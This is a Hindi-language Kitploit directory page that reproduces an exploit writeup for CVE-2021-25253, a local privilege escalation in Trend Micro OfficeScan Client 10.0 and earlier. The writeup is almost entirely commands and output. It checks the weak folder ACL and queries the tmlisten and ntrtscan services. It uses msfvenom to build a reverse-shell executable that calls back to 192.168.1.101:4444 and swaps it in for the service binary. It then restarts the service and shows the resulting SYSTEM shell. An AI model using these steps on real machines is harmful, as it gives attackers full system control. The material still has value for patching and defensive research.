Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-25253 — ट्रेंड माइक्रो ऑफिसस्कैन क्लाइंट <=10.0 के लिए स्थानीय विशेषाधिकार वृद्धि शोषण, इंस्टॉलेशन फ़ोल्डर पर गलत तरीके से कॉन्फ़िगर किए गए ACL के माध्यम से, जो सेवा बाइनरी प्रतिस्थापन के माध्यम से सिस्टम-स्तरीय पहुंच को सक्षम करता है। | Kitploit
उपकरण/GitHubGitHub/msd0pe-1/cve-2021-25253
विशेषाधिकार वृद्धिपेलोड जनरेशनभेद्यता विश्लेषणशोषणगलत कॉन्फ़िगरेशन
GitHubmsd0pe-1/cve-2021-25253

CVE-2021-25253

ट्रेंड माइक्रो ऑफिसस्कैन क्लाइंट <=10.0 के लिए स्थानीय विशेषाधिकार वृद्धि शोषण, इंस्टॉलेशन फ़ोल्डर पर गलत तरीके से कॉन्फ़िगर किए गए ACL के माध्यम से, जो सेवा बाइनरी प्रतिस्थापन के माध्यम से सिस्टम-स्तरीय पहुंच को सक्षम करता है।

रिपॉजिटरी देखें
1143 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
#########################################################################
#                                                                       #
#  Exploit Title: Trend Micro OfficeScan Client 10.0 - ACL Service LPE  #
#  Date: 2023/05/04                                                     #
#  Exploit Author: msd0pe                                               #
#  Vendor Homepage: https://www.trendmicro.com                          #
#  My Github: https://github.com/msd0pe-1                               # 
#                                                                       # 
#########################################################################

Trend Micro OfficeScan क्लाइंट:

संस्करण =< 10.0 में OfficeScan क्लाइंट फ़ोल्डर पर गलत ACL अधिकार हैं जो हमलावरों को सेवाओं के माध्यम से सिस्टम स्तर तक विशेषाधिकार बढ़ाने की अनुमति देता है। इस भेद्यता के लिए किसी विशेषाधिकार पहुंच की आवश्यकता नहीं है।

फ़ोल्डर अधिकार सत्यापित करें:

    > icacls "C:\Program Files (x86)\Trend Micro\OfficeScan Client"

    C:\Program Files (x86)\Trend Micro\OfficeScan Client NT SERVICE\TrustedInstaller:(F)
                                                         NT SERVICE\TrustedInstaller:(CI)(IO)(F)
                                                         NT AUTHORITY\SYSTEM:(F)
                                                         NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                                                         BUILTIN\Administrators:(F)
                                                         BUILTIN\Administrators:(OI)(CI)(IO)(F)
                                                         BUILTIN\Users:(F)
                                                         BUILTIN\Users:(OI)(CI)(IO)(F)
                                                         CREATOR OWNER:(OI)(CI)(IO)(F)
                                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
                                                         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)

सेवाओं के बारे में जानकारी प्राप्त करें:

    > sc qc tmlisten

    [SC] QueryServiceConfig SUCCESS

    SERVICE_NAME: tmlisten
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : "C:\Program Files (x86)\Trend Micro\OfficeScan Client\tmlisten.exe"
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : OfficeScan NT Listener
            DEPENDENCIES       : Netman
                               : WinMgmt
            SERVICE_START_NAME : LocalSystem

या

    > sc qc ntrtscan

    SERVICE_NAME: ntrtscan
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : "C:\Program Files (x86)\Trend Micro\OfficeScan Client\ntrtscan.exe"
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : OfficeScan NT RealTime Scan
            DEPENDENCIES       :
            SERVICE_START_NAME : LocalSystem

रिवर्स शेल उत्पन्न करें:

    > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o tmlisten.exe

या

    > msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f exe -o ntrtscan.exe

रिवर्स शेल को C:\Program Files(x86)\Trend Micro\OfficeScan Client\tmlisten.exe या C:\Program Files(x86)\Trend Micro\OfficeScan Client\ntrtscan.exe पर अपलोड करें

लिसनर शुरू करें

    > nc -lvp 4444

सेवा/सर्वर को पुनः आरंभ करें

    > sc stop tmlisten
    > sc start tmlisten

या

    > sc stop ntrtscan
    > sc start ntrtscan

या

    > shutdown /r

आनंद लें !

    192.168.1.102: inverse host lookup failed: Unknown host
    connect to [192.168.1.101] from (UNKNOWN) [192.168.1.102] 51309
    Microsoft Windows [Version 10.0.19045.2130]
    (c) Microsoft Corporation. All rights reserved.

    C:\Windows\system32>whoami

    nt authority\system
टूल डाउनलोड करें